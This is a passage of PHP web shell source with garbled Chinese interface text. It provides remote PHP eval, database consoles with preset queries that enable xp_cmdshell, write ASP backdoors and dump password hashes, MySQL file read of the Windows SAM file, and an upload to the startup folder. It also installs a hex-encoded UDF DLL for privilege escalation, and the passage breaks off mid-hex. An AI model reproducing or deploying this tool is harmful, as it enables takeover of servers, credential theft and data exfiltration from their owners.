1075ä¸è¦ç›²ç›®è¿žæŽ¥ï¼Œå¦åˆ™å°†é€ æˆæœåŠ¡å™¨å‡æ»ã€èµ„æºè€—å°½ç‰ä¸¥é‡åŽæžœ<br>
1076本地请先è¿è¡Œnc.exe监å¬ç«¯å£ï¼Œä¾‹å¦‚nc -vv -l -p 5555<br></h5>
1077</pre></div>
1078END;
1079}
1080}
1081//eval执行php代ç
1082function phpcode()
1083{
1084print<<<END
1085<div class="actall"><h5>输入php代ç :<h5></div>
1086<form action="?s=ff" method="POST">
1087<div class="actall"><textarea name="phpcode" rows="20" cols="80">phpinfo();/*print_r(apache_get_modules());*/</textarea></div><br />
1088<div><input class="bt" type="submit" value="EVAL执行"></div><br></form>
1089END;
1090$phpcode = $_POST['phpcode'];
1091$phpcode = trim($phpcode);
1092if($phpcode){
1093if(!preg_match('#<\?#si',$phpcode)){$phpcode = "<?php\n\n{$phpcode}\n\n?>";}
1094eval("?".">$phpcode<?php ");
1095echo '<br><br>';
1096}
1097return false;
1098}
1099//其它数æ®åº“连接
1100function otherdb(){
1101$db = isset($_GET['db']) ? $_GET['db'] : 'ms';
1102print<<<END
1103<form method="POST" name="dbform" id="dbform" action="?s=gg&db={$db}" enctype="multipart/form-data">
1104<div class="actall">
1105<a href="?s=gg&db=ms">   MSSQL  </a>
1106<a href="?s=gg&db=ora">   Oracle  </a>
1107<a href="?s=gg&db=ifx">   InforMix  </a>
1108<a href="?s=gg&db=fb">   FireBird  </a>
1109<a href="?s=gg&db=db2">  DB2  </a></div></form>
1110END;
1111if ($db=="ms"){
1112$mshost = isset($_POST['mshost']) ? $_POST['mshost']:'localhost';
1113$msuser = isset($_POST['msuser']) ? $_POST['msuser'] : 'sa';
1114$mspass = isset($_POST['mspass']) ? $_POST['mspass'] : '';
1115$msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master';
1116$msaction = isset($_POST['action']) ? $_POST['action'] : '';
1117$msquery = isset($_POST['mssql']) ? $_POST['mssql'] : '';
1118$msquery = stripslashes($msquery);
1119print<<<END
1120<div class="actall">
1121<form method="POST" name="msform" action="?s=gg&db=ms">
1122Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px">
1123User:<input type="text" name="msuser" value="{$msuser}" style="width:100px">
1124Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px">
1125Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br>
1126<script language="javascript">
1127function msFull(i){
1128 Str = new Array(11);
1129 Str[0] = "";
1130 Str[1] = "select @@version;";
1131 Str[2] = "select name from sysdatabases;";
1132 Str[3] = "select name from sysobject where type='U';";
1133 Str[4] = "select name from syscolumns where id=Object_Id('table_name');";
1134 Str[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');";
1135 Str[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');";
1136 Str[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;";
1137 Str[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;";
1138 Str[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;";
1139 Str[10] = "Exec master.dbo.xp_cmdshell 'net user';";
1140 Str[11] = "Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';";
1141 Str[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' ";
1142 msform.mssql.value = Str[i];
1143 return true;
1144}
1145</script>
1146<textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br>
1147<select onchange="return msFull(options[selectedIndex].value)">
1148 <option value="0" selected>执行命令</option>
1149 <option value="1">显示版本</option>
1150 <option value="2">æ•°æ®åº“</option>
1151 <option value="3">表段</option>
1152 <option value="4">å—段</option>
1153 <option value="5">sp_oacreate</option>
1154 <option value="6">xp_cmdshell</option>
1155 <option value="7">xp_cmdshell(2005)</option>
1156 <option value="8">sp_oacreate(2005)</option>
1157 <option value="9">打开openrowset(2005)</option>
1158 <option value="10">xp_cmdshell exec</option>
1159 <option value="10">sp_oamethod exec</option>
1160 <option value="11">sp_makewebtask</option>
1161</select>
1162<input type="hidden" name="action" value="msquery">
1163<input class="bt" type="submit" value="Query"></form></div>
1164END;
1165if ($msaction == 'msquery'){
1166$msconn= mssql_connect ($mshost , $msuser, $mspass);
1167mssql_select_db($msdbname,$msconn) or die("connect error :" .mssql_get_last_message());
1168$msresult = mssql_query($msquery) or die(mssql_get_last_message());
1169echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">'."\n<tr>\n";
1170for ($i=0; $i<mssql_num_fields($msresult); $i++)
1171{echo '<td><b>'.mssql_field_name($msresult, $i)."</b></td>\n";}
1172echo "</tr>\n";
1173mssql_data_seek($result, 0);
1174while ($msrow=mssql_fetch_row($msresult))
1175{
1176echo "<tr>\n";
1177for ($i=0; $i<mssql_num_fields($msresult); $i++ )
1178{echo '<td>'."$msrow[$i]".'</td>';}
1179echo "</tr>\n";
1180}
1181echo "</table></font>";
1182mssql_free_result($msresult);
1183mssql_close();
1184}
1185}
1186elseif ($db=="ora"){
1187$orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost';
1188$oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521';
1189$orauser = isset($_POST['orauser']) ? $_POST['orauser'] : 'root';
1190$orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '123456';
1191$orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL';
1192$oraaction = isset($_POST['action']) ? $_POST['action'] : '';
1193$oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : '';
1194$oraquery = stripslashes($oraquery);
1195print<<<END
1196<form method="POST" name="oraform" action="?s=gg&db=ora">
1197<div class="actall">
1198Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px">
1199Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px">
1200User:<input type="text" name="orauser" value="{$orauser}" style="width:80px">
1201Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px">
1202SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br>
1203<script language="javascript">
1204function oraFull(i){
1205Str = new Array(5);
1206 Str[0] = "";
1207 Str[1] = "select version();";
1208 Str[2] = "SELECT NAME FROM V$DATABASE";
1209 Str[3] = "select * From all_objects where object_type='TABLE'";
1210 Str[4] = "select column_name from user_tab_columns where table_name='table1'";
1211 oraform.orasql.value = Str[i];
1212 return true;
1213}
1214</script>
1215<textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br>
1216<select onchange="return oraFull(options[selectedIndex].value)">
1217 <option value="0" selected>执行命令</option>
1218 <option value="1">显示版本</option>
1219 <option value="2">æ•°æ®åº“</option>
1220 <option value="3">表段</option>
1221 <option value="4">å—段</option>
1222</select>
1223<input type="hidden" name="action" value="myquery">
1224<input class="bt" type="submit" value="Query"></div></form>
1225END;
1226if($oraaction == 'oraquery'){
1227$oralink=OCILogon($orauser,$orapass,"(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST=$orahost)(PORT = $oraport))(CONNECT_DATA =(SID=$orasid)))") or die(ocierror());
1228$oraresult=ociparse($oralink,$oraquery) or die(ocierror());
1229$orarow=oci_fetch_row($oraresult);
1230echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">'."\n<tr>\n";
1231for ($i=0; $i<oci_num_fields($oraresult); $i++)
1232{echo '<td><b>'.oci_field_name($oraresult, $i)."</b></td>\n";}
1233echo "</tr>\n";
1234ociresult($oraresult, 0);
1235while ($orarow=ora_fetch_row($oraresult))
1236{
1237echo "<tr>\n";
1238for ($i=0; $i<ora_num_fields($result); $i++ )
1239{echo '<td>'."$orarow[$i]".'</td>';}
1240echo "</tr>\n";
1241}
1242echo "</table></font>";
1243oci_free_statement($oraresult);
1244ocilogoff();
1245}
1246}
1247elseif ($db == "ifx"){
1248$ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : 'root';
1249$ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '123456';
1250$ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb';
1251$ifxaction = isset($_POST['action']) ? $_POST['action'] : '';
1252$ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : '';
1253$ifxquery = stripslashes($ifxquery);
1254print<<<END
1255<form method="POST" name="ifxform" action="?s=gg&db=ifx">
1256<div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px">
1257User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px">
1258Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br>
1259<script language="javascript">
1260function ifxFull(i){
1261Str = new Array(11);
1262 Str[0] = "";
1263 Str[1] = "select dbservername from sysobjects;";
1264 Str[2] = "select name from sysdatabases;";
1265 Str[3] = "select tabname from systables;";
1266 Str[4] = "select colname from syscolumns where tabid=n;";
1267 Str[5] = "select username,usertype,password from sysusers;";
1268 ifxform.ifxsql.value = Str[i];
1269 return true;
1270}
1271</script>
1272<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
1273<select onchange="return ifxFull(options[selectedIndex].value)">
1274 <option value="0" selected>执行命令</option>
1275 <option value="1">æ•°æ®åº“æœåŠ¡å™¨å称</option>
1276 <option value="1">æ•°æ®åº“</option>
1277 <option value="2">表段</option>
1278 <option value="3">å—段</option>
1279 <option value="4">hashes</option>
1280</select>
1281<input type="hidden" name="action" value="ifxquery">
1282<input class="bt" type="submit" value="Query"></div></form>
1283END;
1284if($ifxaction == 'ifxquery'){
1285$ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
1286$ifxresult = ifx_query($ifxquery,$ifxlink) or die (ifx_errormsg());
1287$ifxrow=ifx_fetch_row($ifxresult);
1288echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">'."\n<tr>\n";
1289for($i=0; $i<ifx_num_fields($ifxresult); $i++)
1290{echo '<td><b>'.ifx_fieldproperties($ifxresult)."</b></td>\n";}
1291echo "</tr>\n";
1292mysql_data_seek($ifxresult, 0);
1293while ($ifxrow=ifx_fetch_row($ifxresult))
1294{
1295echo "<tr>\n";
1296for ($i=0; $i<ifx_num_fields($ifxresult); $i++ )
1297{echo '<td>'."$ifxrow[$i]".'</td>';}
1298echo "</tr>\n";
1299}
1300echo "</table></font>";
1301ifx_free_result($ifxresult);
1302ifx_close();
1303}
1304}
1305elseif ($db=="db2"){
1306$db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
1307$db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
1308$db2user = isset($_POST['db2user']) ? $_POST['db2user'] : 'root';
1309$db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '123456';
1310$db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
1311$db2action = isset($_POST['action']) ? $_POST['action'] : '';
1312$db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
1313$db2query = stripslashes($db2query);
1314print<<<END
1315<form method="POST" name="db2form" action="?s=gg&db=db2">
1316<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
1317Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
1318User:<input type="text" name="db2user" value="{$db2user}" style="width:100px">
1319Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px">
1320Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br>
1321<script language="javascript">
1322function db2Full(i){
1323Str = new Array(4);
1324 Str[0] = "";
1325 Str[1] = "select schemaname from syscat.schemata;";
1326 Str[2] = "select name from sysibm.systables;";
1327 Str[3] = "select colname from syscat.columns where tabname='table_name';";
1328 Str[4] = "db2 get db cfg for db_name;";
1329db2form.db2sql.value = Str[i];
1330return true;
1331}
1332</script>
1333<textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br>
1334<select onchange="return db2Full(options[selectedIndex].value)">
1335 <option value="0" selected>执行命令</option>
1336 <option value="1">æ•°æ®åº“</option>
1337 <option value="1">表段</option>
1338 <option value="2">å—段</option>
1339 <option value="3">æ•°æ®åº“é…ç½®</option>
1340</select>
1341<input type="hidden" name="action" value="db2query">
1342<input class="bt" type="submit" value="Query"></div></form>
1343END;
1344if ($myaction == 'db2query'){
1345$db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg());
1346$db2result = db2_exec($db2link,$db2query) or die(db2_stmt_errormsg());
1347$db2row=db2_fetch_row($db2result);
1348echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">'."\n<tr>\n";
1349for ($i=0; $i<db2_num_fields($db2result); $i++)
1350{echo '<td><b>'.db2_field_name($db2result)."</b></td>\n";}
1351echo "</tr>\n";
1352while ($db2row=db2_fetch_row($db2result))
1353{
1354echo "<tr>\n";
1355for ($i=0; $i<db2_num_fields($db2result); $i++ )
1356{echo '<td>'."$db2row[$i]".'</td>';}
1357echo "</tr>\n";
1358}
1359echo "</table></font>";
1360db2_free_result($db2result);
1361db2_close();
1362}
1363}
1364elseif($db == "fb") {
1365$fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost';
1366$fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : '';
1367$fbpath = str_replace("\\\\", "\\", $fbpath);
1368$fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : 'sysdba';
1369$fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : 'masterkey';
1370$fbaction = isset($_POST['action']) ? $_POST['action'] : '';
1371$fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : '';
1372$fbquery = stripslashes($fbquery);
1373print<<<END
1374<form method="POST" name="fbform" action="?s=gg&db=fb">
1375<div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px">
1376Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px">
1377User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px">
1378Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/>
1379<script language="javascript">
1380function fbFull(i){
1381Str = new Array(5);
1382 Str[0] = "";
1383 Str[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;";
1384 Str[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';";
1385 Str[3] = "input 'D:\\createtable.sql';";
1386 Str[4] = "shell netstat -an;";
1387fbform.fbsql.value = Str[i];
1388return true;
1389}
1390</script>
1391<textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br>
1392<select onchange="return fbFull(options[selectedIndex].value)">
1393 <option value="0" selected>执行命令</option>
1394 <option value="1">表段</option>
1395 <option value="2">å—段</option>
1396 <option value="3">æ·»åŠ sql</option>
1397 <option value="4">shell</option>
1398</select>
1399<input type="hidden" name="action" value="fbquery">
1400<input class="bt" type="submit" value="Query"></div></form>
1401END;
1402if($fbaction == 'fbquery'){
1403$fblink = ibase_connect($fbhost.':'.$fbpath,$fbuser,$fbpass) or die(ibase_errmsg());
1404$fbresult = ibase_query($fblink,$fbquery) or die(ibase_errmsg());
1405echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">'."\n<tr>\n";
1406for ($i=0; $i<ibase_num_fields($fbresult); $i++)
1407{echo '<td><b>'.ibase_field_info($fbresult, $i)."</b></td>\n";}
1408echo "</tr>\n";
1409ibase_field_info($fbresult, 0);
1410while ($fbrow=ibase_fetch_row($fbresult))
1411{
1412echo "<tr>\n";
1413for ($i=0; $i<ibase_num_fields($fbresult); $i++ )
1414{echo '<td>'."$fbrow[$i]".'</td>';}
1415echo "</tr>\n";
1416}
1417echo "</table></font>";
1418ibase_free_result($fbresult);
1419ibase_close();
1420}
1421}
1422}
1423//MySql执行
1424function Mysql_n()
1425{
1426 $MSG_BOX = '';
1427 $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $msql = 'select version();';
1428 if(isset($_POST['mhost']) && isset($_POST['muser']))
1429 {
1430 $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport'];
1431 if($conn = mysql_connect($mhost.':'.$mport,$muser,$mpass)) @mysql_select_db($mdata);
1432 else $MSG_BOX = '连接MYSQL失败';
1433 }
1434 $downfile = 'c:/windows/repair/sam';
1435 if(!empty($_POST['downfile']))
1436 {
1437 $downfile = File_Str($_POST['downfile']);
1438 $binpath = bin2hex($downfile);
1439 $query = 'select load_file(0x'.$binpath.')';
1440 if($result = @mysql_query($query,$conn))
1441 {
1442 $k = 0; $downcode = '';
1443 while($row = @mysql_fetch_array($result)){$downcode .= $row[$k];$k++;}
1444 $filedown = basename($downfile);
1445 if(!$filedown) $filedown = 'silic.tmp';
1446 $array = explode('.', $filedown);
1447 $arrayend = array_pop($array);
1448 header('Content-type: application/x-'.$arrayend);
1449 header('Content-Disposition: attachment; filename='.$filedown);
1450 header('Content-Length: '.strlen($downcode));
1451 echo $downcode;
1452 exit;
1453 }
1454 else $MSG_BOX = '下载文件失败';
1455 }
1456 $o = isset($_GET['o']) ? $_GET['o'] : '';
1457 Root_CSS();
1458print<<<END
1459<form method="POST" name="nform" id="nform" action="?s=n&o={$o}" enctype="multipart/form-data">
1460<center><div class="actall"><a href="?s=n">[MYSQL执行è¯å¥]</a>
1461<a href="?s=n&o=tq">[MYSQLææƒ]</a>
1462<a href="?s=n&o=tk">[MYSQL脱库备份]</a>
1463<a href="?s=n&o=u">[MYSQLä¸Šä¼ æ–‡ä»¶]</a>
1464<a href="?s=n&o=d">[MYSQL下载文件]</a></div>
1465<div class="actall">
1466åœ°å€ <input type="text" name="mhost" value="{$mhost}" style="width:110px">
1467ç«¯å£ <input type="text" name="mport" value="{$mport}" style="width:110px">
1468用户 <input type="text" name="muser" value="{$muser}" style="width:110px">
1469密ç <input type="text" name="mpass" value="{$mpass}" style="width:110px">
1470库å <input type="text" name="mdata" value="{$mdata}" style="width:110px">
1471</div>
1472<div class="actall" style="height:220px;">
1473END;
1474if($o=='u')
1475{
1476 $uppath = 'C:/Documents and Settings/All Users/「开始ã€èœå•/程åº/å¯åŠ¨/exp.vbs';
1477 if(!empty($_POST['uppath']))
1478 {
1479 $uppath = $_POST['uppath'];
1480 $query = 'Create TABLE a (cmd text NOT NULL);';
1481 if(@mysql_query($query,$conn))
1482 {
1483 if($tmpcode = File_Read($_FILES['upfile']['tmp_name'])){$filecode = bin2hex(File_Read($tmpcode));}
1484 else{$tmp = File_Str(dirname(__FILE__)).'/upfile.tmp';if(File_Up($_FILES['upfile']['tmp_name'],$tmp)){$filecode = bin2hex(File_Read($tmp));@unlink($tmp);}}
1485 $query = 'Insert INTO a (cmd) VALUES(CONVERT(0x'.$filecode.',CHAR));';
1486 if(@mysql_query($query,$conn))
1487 {
1488 $query = 'SELECT cmd FROM a INTO DUMPFILE \''.$uppath.'\';';
1489 $MSG_BOX = @mysql_query($query,$conn) ? 'ä¸Šä¼ æ–‡ä»¶æˆåŠŸ' : 'ä¸Šä¼ æ–‡ä»¶å¤±è´¥';
1490 }
1491 else $MSG_BOX = 'æ’入临时表失败';
1492 @mysql_query('Drop TABLE IF EXISTS a;',$conn);
1493 }
1494 else $MSG_BOX = '创建临时表失败';
1495 }
1496print<<<END
1497<br><br>ä¸Šä¼ è·¯å¾„ <input type="text" name="uppath" value="{$uppath}" style="width:500px">
1498<br><br>选择文件 <input type="file" name="upfile" style="width:500px;height:22px;">
1499</div><div class="actall"><input type="submit" value="ä¸Šä¼ " style="width:80px;" onsubmit="myurl()">
1500END;
1501}
1502elseif($o=='d')
1503{
1504print<<<END
1505<br><br><br>下载文件 <input type="text" name="downfile" value="{$downfile}" style="width:500px">
1506</div><div class="actall"><input type="submit" value="下载" style="width:80px;">
1507END;
1508}elseif($o=='tk'){
1509if($_POST['dump']=='dump'){
1510$mysql_link=@mysql_connect($mhost,$muser,$mpass);
1511mysql_select_db($mdata);
1512mysql_query("SET NAMES gbk");
1513$mysql="";
1514$q1=mysql_query("show tables");
1515while($t=mysql_fetch_array($q1)){
1516 $table=$t[0];
1517 $q2=mysql_query("show create table `$table`");
1518 $sql=mysql_fetch_array($q2);
1519 $mysql.=$sql['Create Table'].";\r\n\r\n";
1520 $q3=mysql_query("select * from `$table`");
1521 while($data=mysql_fetch_assoc($q3))
1522 {
1523 $keys=array_keys($data);
1524 $keys=array_map('addslashes',$keys);
1525 $keys=join('`,`',$keys);
1526 $keys="`".$keys."`";
1527 $vals=array_values($data);
1528 $vals=array_map('addslashes',$vals);
1529 $vals=join("','",$vals);
1530 $vals="'".$vals."'";
1531 $mysql.="insert into `$table`($keys) values($vals);\r\n";
1532 }
1533 $mysql.="\r\n";
1534}
1535$filename=date("Y-m-d-GisA").".sql";
1536$fp=fopen($filename,'w');
1537fputs($fp,$mysql);
1538fclose($fp);
1539$tip="<br><center>æ•°æ®å¤‡ä»½æˆåŠŸï¼Œç‚¹å‡»ä¸‹è½½æ•°æ®åº“文件：[<a href=\"".$filename."\" title=\"点击下载\">".$filename."</a>]</center>";
1540}else{$tip="尚未备份，ä¿è¯æœ¬ç¨‹åºæ‰€åœ¨ç›®å½•å¯å†™";}
1541print<<<END
1542<div class="actall"><form method="post" action="?s=n&o=tk"><br>
1543请慎用本功能，数æ®åº“è¿‡å¤§å°†é€ æˆæœåŠ¡å™¨å®•æœºç‰æƒ…况 :-(<br><br>
1544{$tip}<br><br>
1545<input type="hidden" value="dump" name="dump" id="dump">
1546<input type="submit" value="一键备份" tilte="Submit" style="width:120px;height:64px;">
1547</form><div>
1548END;
1549}elseif($o=='tq')
1550{
1551extract($_POST);
1552extract($_GET);
1553$post_sql = $post_sql ? $post_sql : "select state(\"net user\")";
1554if($install){
1555 $link = mysql_connect ($mhost,$muser,$mpass) or die(mysql_error());
1556 mysql_select_db($mdata,$link) or die(mysql_error());
1557 @mysql_query("DROP TABLE udf_temp", $link);
1558 $query="CREATE TABLE udf_temp (udf BLOB);";
1559if(!($result=mysql_query($query, $link)))
1560die('创建临时表失败'.mysql_error());
1561else
1562{
1563$code="0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000009BBB9A02DFDAF451DFDAF451DFDAF451A4C6F851DDDAF4515CC6FA51CBDAF45137C5FE518BDAF451DFDAF451DCDAF451BDC5E751DADAF451DFDAF55184DAF45137C5FF51DCDAF45137C5F051DEDAF45152696368DFDAF4510000000000000000504500004C010300B2976A460000000000000000E0000E210B01060000500000001000000090000010E6000000A0000000F000000000001000100000000200000400000000000000040000000000000000000100001000000000000002000000000010000010000000001000001000000000000010000000D8F000007400000000F00000D80000000000000000000000000000000000000000000000000000004CF100000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000900000001000000000000000040000000000000000000000000000800000E055505831000000000050000000A000000048000000040000000000000000000000000000400000E055505832000000000010000000F0000000020000004C0000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000322E303200555058210D09020A459475C59FCC587632C900000F46000000B00000260A00BC6FEDDDFF558BEC6AFF6800007148040ED064A10507506489FFD8FF9F2583EC0C5356578965E8C745FC0F7D0C0175236A00FFEDB77B012E05B008FF150970008945E4EB09B81E7363BB0124C38B2FFF000F8B4DF05FF6FFD94E0D5F5E5B8BE55DC20C0090008B442499ACFDF604C740081C100432C0C30F8F58FDAC7D0081EC8C090592C685E8FBFF77DFBD6100B9FF1733C08DBDE90DF3AB66ABAA33DB895DFC8B33DBBBFF450C8338010F85770380480439190A6C53EFFEFFBF80988B50088B0250E80A005DDC83C40885C00F84511A889DC8F6F720276B414EC9F6C785BC0A9FD9DC5D0C16899DC0090FC4D853A1FBF6DF8D8D1A518D95CCFA06528D85B80D500EB399661B2C256C44246CCDF7EFB116288B852A8985ACF605A866EEEE8C6C559C985668050134776723CD95C852240CBFBA8883C9DFDCFFB7FF9CF2AEF7D12BF98BF78BFA8BD1100E4F8BCAC1B3CDFDF6E902F3A50683E103F3A4FBF2083566B604D88B393284B4C1B5DB60E6D8FBB153006A0103FF6B63838A538B20B4283BC3752D6A0A6D84436EF0E8FB1C4F473ADBAF3D7C12516670380B52E917059E0B67B30CF72A18B9D0FA40FB0E72106AD1FA6803FA8D1D93CBD8D84268FF14D0FAC47E0990583A548D64D9BA6F3EE5117E8BF089B564B9535EC803C2993B046AA18BB810CD2ED81B0E567420C63C10FFB9E53B72C6000163E8EBBA1882FBB7B9850436D41105B0596A206A03049D306B6E037D7EB2BF0CF6B171F37B6883FEFF6A85385618DCEFEF2D94F889BD408D4764A80FF652F1DC2F942DB9590C89036A9D5679F8CFBE564F01515030108B13C6043A0009446C03E40BD18B3BD9687E2C089318580C04EB366A64B66C8DC972D031745813594ECE0E53C16551C83BE920FDC91E498B5514890AE98B03E63F61EE23C368C80B6389500C3BD37C2939D8751A3233C07F3001BB709155357A0C83910DBB954511420C8651C8D391AC91AE8D513763F24C9552CDB0069B6CC2A4E96551C51C8B6C76695D530C1FA86CB243C27B0C298B5BA5C3A71B4F08A40F8B400C8674DD5B768C07BC91591B00130BC8AEF1B72C1D750683C8FFC2C30E05DCC030D74E060C74092FF202EDB4329054554468020217F6FEBFFE7134F7D81BC04081C41A5E903D814C060F6808B8640426B073A466121C866DCBB6417B885DA87401A902ADB17EE3D2B76603B58845B71684FEF1888590FFFE7D72BB06563F84BD910AE983CF3F4F9B2E347D942C6A02227175943B5A018CEDF7751616FC1708EC3F79044888FEFE71103BC7751D560A1BC60B6C14326A107A8D74235F61B8E73A52180F66DB8D2C2C88980B531CAE9A338FCA02DD827A1D0E203DB8C9B537DC9004B9827E8B3089CAB4D6D37CB01D80B471D337110CE748BEDDEC6F6A081AA8D177E6489E04A0B6138D55A8E327325A00438D7DA883CE2D656B0763CE457537E59B512FD8B7C1028B8B8596504522D9BE1B6144418D4DA885C977DD1696139C2E06249C238D472834160750D28954283B70800CF2C67526537547C84B6CC025CF070D048CFFFEDF5EBC8549E4200866E4516A28AE11DB6E61BC52F88D2072229D489AB3985D2C1D8B35781C88D11B302A6C37DF5968311659FFFF1151BE82B96D42D6FC84FED51052D985CD06A5091CEBC5BA94506052022C069E0F3981C511788FA404FCF68450228B75087CC0807E09060A4B775B71A85F8B5E0C20D469D9D115CEF92011C8B80D124CB6177EA98AB6E00FC1E0028BC803C604C468141ADF02CC33C98A7DBFB566FBEF5E4CC1E102058D14018955E0803A4D4F586F8F818BB9AA01CC8BF2E266F3A7ED0CF26C164102C0159D0542D875477205B04C2C3908C10D00DA6E0D67EF1968D007001034E90B8795BC59C82DED1533F607B80774C03FFB9009C183C206298A023C2167DF7FE9743C843B1B3C0A741788843530421B46D889846744EBDB7FB907CABBFF6F29B6B53C33D2F3A6753B88954C0BB918D962C860784DB34C76739038C0B10B6C68E803C59378271EEB254A1D8E236534B0301BB135728144C60F4F9400D7493C77C7030B5E382E81D8BB7F1A837C2410027513060405750C5B6464046B5F23C357084F179213C888140525F1ECA263810C5456C9134CD8C9C22CBD4FE485DBCEE499566BF6CFE0FA8BCB2BCE490C0804904BB80768042700E0FE397221F724434558E0FE8108D87B96002F8BFB1B2A2327837CD98BFACBCB5073BCC8855098E0FE8D6FBFAC03B7B10DCC63DC0DAF234B21D18DC47AF02AFA7A568F638FA2C0EB0C0354AD46F2C505EED48821B01A60A081C4112684C3CFF4425689FF3B77D77857040CB911280D108D7C2418F3AB8D4C243B0D069B6C1451AB343101BA0B041B0111E5724E64F06650720D553D8755FD04BA917466380E6E8D542408D731F62D925266181108435C5C8F4F4A761850514F9481106A5CDFBFEACC4044076C1589B424809674C67652DD247C03788C5FB65E56B87B49BCBFF0FF255B3CCCCC8D87D4E1674755E7F0FF42DF86C00D5F613C5D6C7904F74104868B23B8065423740F795CEFDCD7B7A5108902B863C33E1210506AFE5C908E7F40F864FF35A900198E1AB52529582FDDD5B4BFC0ED742E3B932474FA34768B0CB38959BD2DB50A02C304B394751268F7DBBFEDBD2DB37D0EAAFF5408EBC3648F0543236C7286EA8C1A648B9C8184FF83DF7904687510E3520C3951087505CF4D05BBFB5351BB1E18EB0A082489DFDCB7B64B02439D6B0C595BFCEF56433230069F0BF758433030F7A5FAFCD82C10DBD10C74F740E42682B58DD63E3F45F812E11B8D08B67F97AD3E21737B08C1618D0C76B18FEA6EED5F744556558D6B10A80B5D5E410B33BBE85ED633783C25534F0DD41D2B38D3AF560C0E168D36B7DEDDB6C5648F358F550C3B08C77EBF73301A8B348FEBA1B8DBEB1CC9EB15884DD67A5C003F5D16466F684394BC3B8B298B419FCC256BB4031824E1D763D9B66E20CF5